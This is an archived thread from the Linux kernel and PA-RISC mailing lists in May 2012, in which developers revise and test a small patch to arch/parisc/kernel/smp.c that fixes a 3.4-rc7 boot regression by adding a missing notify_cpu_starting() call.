The regression was introduced in the 3.4 merge window itself (by commit
5fbd036b55 "sched: Cleanup cpu_active madness").

Links to the original posting:
PA_RISC: http://marc.info/?l=linux-parisc&m=133241790810604&w=2
mn10300: http://marc.info/?l=linux-parisc&m=133241580509804&w=2

Mikulas confirmed that this fixes the boot failure on PA-RISC:
https://lkml.org/lkml/2012/5/8/97

Regards,
Srivatsa S. Bhat

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Linux 3.4-rc7
Date: Sun, 13 May 2012 16:08:56 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336939805 14644 80.91.229.3 (13 May 2012 20:10:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 20:10:05 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 13 22:10:01 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1STf7A-0003Qt-P9
	for glk-linux-kernel-3@plane.gmane.org; Sun, 13 May 2012 22:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753319Ab2EMUJR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 13 May 2012 16:09:17 -0400
Original-Received: from blu0-omc3-s28.blu0.hotmail.com ([65.55.116.103]:26622 "EHLO
	blu0-omc3-s28.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753019Ab2EMUJP (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 13 May 2012 16:09:15 -0400
Original-Received: from BLU0-SMTP22 ([65.55.116.73]) by blu0-omc3-s28.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 13:09:14 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP22.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 13:09:13 -0700
In-Reply-To: <4FB011E7.1000604@linux.vnet.ibm.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 May 2012 20:09:13.0121 (UTC) FILETIME=[43F3F110:01CD3144]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1296317 gmane.linux.ports.parisc:4368
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1296317>

On 13-May-12, at 3:56 PM, Srivatsa S. Bhat wrote:

> The regression was introduced in the 3.4 merge window itself (by  
> commit
> 5fbd036b55 "sched: Cleanup cpu_active madness").
>
> Links to the original posting:
> PA_RISC: http://marc.info/?l=linux-parisc&m=133241790810604&w=2


If I had the above change, I get

   CHK     include/generated/compile.h
   CC      arch/parisc/kernel/smp.o
arch/parisc/kernel/smp.c: In function 'smp_cpu_init':
arch/parisc/kernel/smp.c:300:2: error: implicit declaration of  
function 'notify_cpu_starting' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
make[1]: *** [arch/parisc/kernel/smp.o] Error 1

Dave
--
John David Anglin	dave.anglin@bell.net




From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Mon, 14 May 2012 01:58:47 +0530
Lines: 78
Approved: news@gmane.org
Message-ID: <4FB0197F.6010000@linux.vnet.ibm.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336940979 22948 80.91.229.3 (13 May 2012 20:29:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 20:29:39 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 22:29:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STfQ5-0000XU-6f
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 22:29:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753244Ab2EMU3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 16:29:32 -0400
Original-Received: from e23smtp01.au.ibm.com ([202.81.31.143]:34657 "EHLO
	e23smtp01.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753227Ab2EMU3b (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 16:29:31 -0400
Original-Received: from /spool/local
	by e23smtp01.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Sun, 13 May 2012 20:21:09 +1000
Original-Received: from d23relay04.au.ibm.com (202.81.31.246)
	by e23smtp01.au.ibm.com (202.81.31.207) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sun, 13 May 2012 20:21:06 +1000
Original-Received: from d23av04.au.ibm.com (d23av04.au.ibm.com [9.190.235.139])
	by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4DKMTqQ17956874;
	Mon, 14 May 2012 06:22:29 +1000
Original-Received: from d23av04.au.ibm.com (loopback [127.0.0.1])
	by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4DKTOx8028664;
	Mon, 14 May 2012 06:29:26 +1000
Original-Received: from [9.78.197.201] ([9.78.197.201])
	by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4DKTISC028637;
	Mon, 14 May 2012 06:29:19 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120424 Thunderbird/12.0
In-Reply-To: <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
x-cbid: 12051310-1618-0000-0000-000001937D71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4369 gmane.linux.kernel:1296319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4369>

On 05/14/2012 01:38 AM, John David Anglin wrote:

> On 13-May-12, at 3:56 PM, Srivatsa S. Bhat wrote:
> 
>> The regression was introduced in the 3.4 merge window itself (by commit
>> 5fbd036b55 "sched: Cleanup cpu_active madness").
>>
>> Links to the original posting:
>> PA_RISC: http://marc.info/?l=linux-parisc&m=133241790810604&w=2
> 
> 
> If I had the above change, I get
> 
>   CHK     include/generated/compile.h
>   CC      arch/parisc/kernel/smp.o
> arch/parisc/kernel/smp.c: In function 'smp_cpu_init':
> arch/parisc/kernel/smp.c:300:2: error: implicit declaration of function
> 'notify_cpu_starting' [-Werror=implicit-function-declaration]
> cc1: some warnings being treated as errors
> make[1]: *** [arch/parisc/kernel/smp.o] Error 1
> 


Sorry about that. I neither have the hardware nor the toolchain
to test it. I guess this problem doesn't exist for mn10300 since it
already includes linux/cpu.h when CONFIG_HOTPLUG_CPU=y

Does the below updated patch help for PA-RISC?

----
From: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>

parisc/CPU hotplug: Add missing call to notify_cpu_starting()

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/parisc/kernel/smp.c |    8 +++++++-
 1 files changed, 7 insertions(+), 1 deletions(-)


diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 0bb1d63..4dc7b79 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/delay.h>
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
+#include <linux/cpu.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tobias Ulmer <tobiasu@tmux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Sun, 13 May 2012 22:30:49 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20120513203049.GA10797@tin.tmux.org>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
 <4FB011E7.1000604@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1336941059 23536 80.91.229.3 (13 May 2012 20:30:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 20:30:59 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 22:30:55 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STfRL-0001jV-6o
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 22:30:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753227Ab2EMUau (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 16:30:50 -0400
Original-Received: from tin.tmux.org ([64.85.165.147]:45998 "EHLO tin.tmux.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753092Ab2EMUau (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 16:30:50 -0400
Original-Received: by tin.tmux.org (Postfix, from userid 1000)
	id 8FD461FDE1; Sun, 13 May 2012 22:30:49 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <4FB011E7.1000604@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4370 gmane.linux.kernel:1296320
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4370>

On Mon, May 14, 2012 at 01:26:23AM +0530, Srivatsa S. Bhat wrote:
> On 05/13/2012 07:34 AM, Linus Torvalds wrote:
> 
> > This is almost certainly the last -rc in this series - things really
> > have calmed down, and I even considered just cutting 3.4 this weekend,
> > but felt that another week wouldn't hurt.
> [...] 
> > So go forth and test. And don't send me any pull requests unless they
> > contain *only* regressions or fixes for really nasty bugs.
> 
> 
> Oh, I just noticed that 2 important fixes which fix boot failures on
> PA-RISC and mn10300 architectures haven't made it to mainline yet.
> 
> The regression was introduced in the 3.4 merge window itself (by commit
> 5fbd036b55 "sched: Cleanup cpu_active madness").
> 
> Links to the original posting:
> PA_RISC: http://marc.info/?l=linux-parisc&m=133241790810604&w=2
> mn10300: http://marc.info/?l=linux-parisc&m=133241580509804&w=2
> 
> Mikulas confirmed that this fixes the boot failure on PA-RISC:
> https://lkml.org/lkml/2012/5/8/97

Yes, indeed my c8000 boots again :-) Only had to add cpu.h for
notify_cpu_starting() to make it complile:

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Acked-by: Mikulas Patocka <mpatocka@redhat.com>
Acked-by: Tobias Ulmer <tobiasu@tmux.org>
---
 arch/parisc/kernel/smp.c |    8 +++++++-
 1 files changed, 7 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 0bb1d63..4dc7b79 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/delay.h>
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
+#include <linux/cpu.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
-- 
1.7.3.4


Thanks,
Tobias

> 
> Regards,
> Srivatsa S. Bhat
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Sun, 13 May 2012 16:40:07 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336941635 27564 80.91.229.3 (13 May 2012 20:40:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 May 2012 20:40:35 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 22:40:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STfae-0000l0-Oy
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 22:40:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753283Ab2EMUk2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 16:40:28 -0400
Original-Received: from blu0-omc3-s20.blu0.hotmail.com ([65.55.116.95]:54148 "EHLO
	blu0-omc3-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753110Ab2EMUk0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 16:40:26 -0400
Original-Received: from BLU0-SMTP85 ([65.55.116.74]) by blu0-omc3-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 13:40:25 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP85.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 13:40:24 -0700
In-Reply-To: <4FB0197F.6010000@linux.vnet.ibm.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 May 2012 20:40:24.0825 (UTC) FILETIME=[9F934E90:01CD3148]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4371 gmane.linux.kernel:1296322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4371>

Yes, the revised change fixes the compilation error.  I'll know in a  
while if
my config boots.

Thanks,
Dave

On 13-May-12, at 4:28 PM, Srivatsa S. Bhat wrote:

> On 05/14/2012 01:38 AM, John David Anglin wrote:
>
>> On 13-May-12, at 3:56 PM, Srivatsa S. Bhat wrote:
>>
>>> The regression was introduced in the 3.4 merge window itself (by  
>>> commit
>>> 5fbd036b55 "sched: Cleanup cpu_active madness").
>>>
>>> Links to the original posting:
>>> PA_RISC: http://marc.info/?l=linux-parisc&m=133241790810604&w=2
>>
>>
>> If I had the above change, I get
>>
>>  CHK     include/generated/compile.h
>>  CC      arch/parisc/kernel/smp.o
>> arch/parisc/kernel/smp.c: In function 'smp_cpu_init':
>> arch/parisc/kernel/smp.c:300:2: error: implicit declaration of  
>> function
>> 'notify_cpu_starting' [-Werror=implicit-function-declaration]
>> cc1: some warnings being treated as errors
>> make[1]: *** [arch/parisc/kernel/smp.o] Error 1
>>
>
>
> Sorry about that. I neither have the hardware nor the toolchain
> to test it. I guess this problem doesn't exist for mn10300 since it
> already includes linux/cpu.h when CONFIG_HOTPLUG_CPU=y
>
> Does the below updated patch help for PA-RISC?
>
> ----
> From: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
>
> parisc/CPU hotplug: Add missing call to notify_cpu_starting()
>
> The scheduler depends on receiving the CPU_STARTING notification,  
> without
> which we end up into a lot of trouble. So add the missing call to
> notify_cpu_starting() in the bringup code.
>
> Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> ---
>
> arch/parisc/kernel/smp.c |    8 +++++++-
> 1 files changed, 7 insertions(+), 1 deletions(-)
>
>
> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
> index 0bb1d63..4dc7b79 100644
> --- a/arch/parisc/kernel/smp.c
> +++ b/arch/parisc/kernel/smp.c
> @@ -31,6 +31,7 @@
> #include <linux/delay.h>
> #include <linux/bitops.h>
> #include <linux/ftrace.h>
> +#include <linux/cpu.h>
>
> #include <linux/atomic.h>
> #include <asm/current.h>
> @@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
>
> 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
> 		machine_halt();
> -	}
> +	}
> +
> +	notify_cpu_starting(cpunum);
> +
> +	ipi_call_lock();
> 	set_cpu_online(cpunum, true);
> +	ipi_call_unlock();
>
> 	/* Initialise the idle task for this CPU */
> 	atomic_inc(&init_mm.mm_count);
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Sun, 13 May 2012 20:42:26 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336956189 18076 80.91.229.3 (14 May 2012 00:43:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 00:43:09 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 14 02:43:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STjNQ-0003sv-Sc
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 May 2012 02:43:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753031Ab2ENAnE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 May 2012 20:43:04 -0400
Original-Received: from blu0-omc3-s11.blu0.hotmail.com ([65.55.116.86]:1294 "EHLO
	blu0-omc3-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752799Ab2ENAnD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 May 2012 20:43:03 -0400
Original-Received: from BLU0-SMTP4 ([65.55.116.74]) by blu0-omc3-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 17:43:02 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP4.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 May 2012 17:43:00 -0700
In-Reply-To: <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 May 2012 00:43:01.0128 (UTC) FILETIME=[83CEE080:01CD316A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4372 gmane.linux.kernel:1296352
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4372>

On 13-May-12, at 4:40 PM, John David Anglin wrote:

> Yes, the revised change fixes the compilation error.  I'll know in a  
> while if
> my config boots.


I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).   
My build also
included cache and other fixes that are being discussed on the parisc  
list.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 13 May 2012 20:52:09 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU0-SMTP37F9217C99E15B1D9EF026971A0@phx.gbl>
